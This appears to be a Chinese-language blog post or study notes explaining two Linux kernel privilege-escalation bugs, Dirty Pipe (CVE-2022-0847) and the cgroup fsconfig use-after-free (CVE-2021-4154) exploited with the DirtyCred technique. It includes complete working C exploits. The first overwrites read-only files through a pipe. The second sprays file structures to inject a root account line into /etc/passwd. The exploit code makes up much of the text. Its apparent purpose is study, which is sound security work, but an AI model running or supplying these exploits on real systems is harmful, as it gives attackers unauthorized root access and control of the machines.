dirty_pipe

5.8 <= Linux内核版本 <5.16.11 / 5.15.25 / 5.10.102 | Ubuntu 21.10

在写入pipe管道时候调用pipefifo_fops->pipe_write,对于新写入的数据如果pipe_buf->flag == PIPE_BUF_FLAG_CAN_MERGE则会向上一个未满的buffer写入数据,而在splice函数(这是一个用于文件和管道进行数据拷贝的函数)调用的时候,他会先将pipe_buf的page与文件的page进行映射,关键在于当执行调用链到 copy_page_to_iter_pipe()的时候将 pipe_buf->page设置为文件对应的页框时候会执行一段 get_page(page)会对页框的应用+1并且没有初始化 pipe_buf->flag 这就使得当首先将管道写满后再读出将pipe_buf->flag 设置为 PIPE_BUF_FLAG_CAN_MERGE 在执行 splice 进行文件映射,再对管道进行数据写入,这时候由于 PIPE_BUF_FLAG_CAN_MERGE 标志,于是在page+1的上一个page(未满)就会被写入数据,实现一个越权数据写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/user.h>

#define PAGE_SIZE 4096

int main(int argc, char **argv)
{
if (argc != 4) {
printf("Usage: %s offset target_file data\n", argv[0]);
exit(0);
}

loff_t offset = strtoul(argv[1], NULL, 0);

int fd = open(argv[2], O_RDONLY);
struct stat fd_stat;
if (fd == -1) {
puts("[-] cannot open target file.");
exit(-1);
}
fstat(fd, &fd_stat);

const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset > fd_stat.st_size
|| offset + data_size > fd_stat.st_size
|| (offset % PAGE_SIZE) + data_size > PAGE_SIZE) {
puts("[-] argv wriong.");
exit(-1);
}

int pipe_fd[2];
pipe(pipe_fd);

int pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
char *buffer = (char *) malloc(PAGE_SIZE);

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(pipe_fd[1], buffer, n);
r -= n;
}

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(pipe_fd[0], buffer, n);
r -= n;
}

--offset; // read 1 bytes in splice()
splice(fd, &offset, pipe_fd[1], NULL, 1, 0);

if(write(pipe_fd[1], data, data_size) == data_size) {
puts("[+] success!");
}

return 0;
}

reference:https://arttnba3.cn/2022/03/12/CVE-0X06-CVE-2022-0847/#splice%EF%BC%9A%E6%96%87%E4%BB%B6%E4%B8%8E%E7%AE%A1%E9%81%93%E9%97%B4%E6%95%B0%E6%8D%AE%E6%8B%B7%E8%B4%9D

dirty_cred

(“通杀”效果?看完其实就是利用file结构体来提权)

CVE-2021-4154 cgroup1 fsconfig UAF内核提权

~ linux kernel 5.14.0
漏洞出在 cgroup1_parse_param

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
fsconfig()
->vfs_fsconfig_locked(fc, cmd, &param)
->vfs_parse_fs_param(fc, param)
->ret = fc->ops->parse_param(fc, param)
->cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct cgroup_fs_context *ctx = cgroup_fc2context(fc);
struct cgroup_subsys *ss;
struct fs_parse_result result;
int opt, i;

opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {//对比补丁和上面简要处理部分,发现少了一个判断分支
if (fc->source)//缺少判断type 必须是fs_value_is_string
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;//将联合体部分赋值给source
param->string = NULL;
return 0;//然后返回,后面无需关注了
}
··· ···
}
··· ···
··· ···
}
#如果调用fsconfig(fs_fd, FSCONFIG_SET_FD, "source", 0, any_file_fd)
struct fs_parameter {
const char *key = "source";
enum fs_value_type type = fs_value_is_file;
union {//在不同命令模式中不同的功能 , file结构体被当作string类型复制给了fc->source(类型混淆)
char *string;
void *blob;
struct filename *name;
struct file *file = any_file_fd;
};
size_t size;
int dirfd;
};

#接下来释放文件系统中

fscontext_release(struct inode *inode, struct file *file)
->put_fs_context(struct fs_context *fc)
{
struct super_block *sb;

if (fc->root) {
sb = fc->root->d_sb;
dput(fc->root);
fc->root = NULL;
deactivate_super(sb);
}

if (fc->need_free && fc->ops && fc->ops->free)
fc->ops->free(fc);

security_free_mnt_opts(&fc->security);
put_net(fc->net_ns);
put_user_ns(fc->user_ns);
put_cred(fc->cred);
put_fc_log(fc);
put_filesystem(fc->fs_type);
kfree(fc->source);//调用kfree 释放source
kfree(fc);
}
#这样结束就会释放一个struct file结构体,接着就可以利用堆喷申请file进行uaf

uaf操作涉及到一个时间窗口的问题,延长时间窗口的方法就是输入大量数据(最后还是落在在源码的阅读上不管是writev或者write,都会有一个check然后write前都会调用ext4_file_write_iter()函数里面有个暂停点inode_lock(inode);不允许多个线程同时写一个文件,check->暂停->write,在暂停的时候替换file结构即可)
贴一个blingbling师傅的poc(太强了呜呜呜555)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#define _GNU_SOURCE  
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <linux/kcmp.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define NR_PAGE 0x40000
#define MAX_FILE_NUM 1000
int uaf_fd;
int fds[MAX_FILE_NUM];

int run_write = 0;
int run_spray = 0;


static void die(const char *fmt, ...) {
va_list params;

va_start(params, fmt);
vfprintf(stderr, fmt, params);
va_end(params);
exit(1);
}


void init_namespace(void) {
int fd;
char buff[0x100];

uid_t uid = getuid();
gid_t gid = getgid();

#为什么使用unshare,因为 fsconfig 配置的 fs_context 需要 fsopen 创建,而 fsopen 需要拥有 CAP_SYS_ADMIN 权限,因此需要使用 clone 或者 unshare 调用进行构建伪权限
if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m \n");
}

if (unshare(CLONE_NEWNET)) {
die("unshare(CLONE_NEWNET): %m \n");
}

fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", uid);
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", gid);
write(fd, buff, strlen(buff));
close(fd);
}

static void use_temporary_dir(void) {
system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
char *tmpdir = "exp_dir";
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}

void trigger() {
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0) {
perror("fsopen");
die("");
}

symlink("./data", "./uaf"); // 为data文件创建一个软链接,避免打开的文件file->f_mode被加上FMODE_ATOMIC_POS标志,在write和writev函数中都会__fdget_pos(),当`file->f_mode`中包含`FMODE_ATOMIC_POS`时,就会获取`file->f_pos_lock`这个锁,防止其他线程进入。

uaf_fd = open("./uaf", 1);
if (uaf_fd < 0) {
die("failed to open symbolic file\n");
}

if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
perror("fsconfig");
exit(-1);
}

close(fs_fd); // 释放uaf_fd对应的stuct file堆块
}

void *slow_write() {
printf("[*] start slow write to get the lock\n");
int fd = open("./uaf", 1);

if (fd < 0) {
perror("error open uaf file");
exit(-1);
}

unsigned long int addr = 0x30000000;
int offset;
// 利用mmap构造一大段"\x00"数据
for (offset = 0; offset < NR_PAGE; offset++) {
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0) {
printf("allocate failed at 0x%x\n", offset);
}
}
assert(offset > 0);

uint64_t wr_len = (NR_PAGE-1)*0x1000;
run_write = 1;
if (write(fd, (void *)addr, wr_len) < 0) { // 构造了1G大小的空间,写入磁盘文件,延长TOC-TOU时间窗口
perror("slow write");
}

printf("[*] write done!\n");
close(fd);
}

void *write_cmd() {
char data[1024] = "bling:x:0:0:root:/home/bling:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n";

while (!run_write) {}

run_spray = 1;
if(write(uaf_fd, data, strlen(data)) < 0){ // 由于slow_write()正在写磁盘文件,此处在write check后会阻塞,空出来时间窗口给spray_files()
printf("failed to write\n");
}

printf("[*] overwrite done! It should be after the slow write\n");
}

void spray_files() {
int found = 0;

while (!run_spray) {}

printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
for (int i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open("/etc/passwd", O_RDONLY); // 使用"/etc/passwd"文件的struct file占用UAF的file堆块
if (fds[i] < 0) {
perror("open file");
printf("%d\n", i);
}
// 比较uaf_fd和fds[i]是否指向同一个文件描述符,相同的话返回0
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) {
found = 1;
printf("[!] found, file id %d\n", i);
for (int j = 0; j < i; j++)
close(fds[j]);
break;
}
}

if(found == 0){
printf("spary failed, try again!\n");
}
}

int main(){
pthread_t p_id, p_id_cmd;

use_temporary_dir(); // 新建一个目录,用来放利用所需的文件
init_namespace(); // 新建一个命名空间
trigger(); // 触发UAF中的free

pthread_create(&p_id, NULL, slow_write, NULL); // 拉长时间窗口
usleep(1);
pthread_create(&p_id_cmd, NULL, write_cmd, NULL); // UAF中的use,往已释放struct file的fd中写

spray_files(); // 堆喷,用高权限struct file占领UAF的file堆块

pthread_exit(NULL);
return 0;

}

(看来半天以为file结构体只是替换了权限,仔细一看原来也替换了inode所以相当于r权限在,但文件整个对象变成了目标文件)

reference:
https://blog.csdn.net/Breeze_CAT/article/details/127325123
https://zhuanlan.zhihu.com/p/575931271
https://blingblingxuanxuan.github.io/2023/05/19/230518-cve-2021-4154/#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-dirtycred
https://blingblingxuanxuan.github.io/2023/05/19/230518-cve-2021-4154/#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-dirtycred*
https://bsauce.github.io/2022/10/17/CVE-2021-4154/#4-1-file-%E5%AF%B9%E8%B1%A1%E5%88%86%E9%85%8D
fsconfig就是一个mount系统调用:
https://zhuanlan.zhihu.com/p/102160428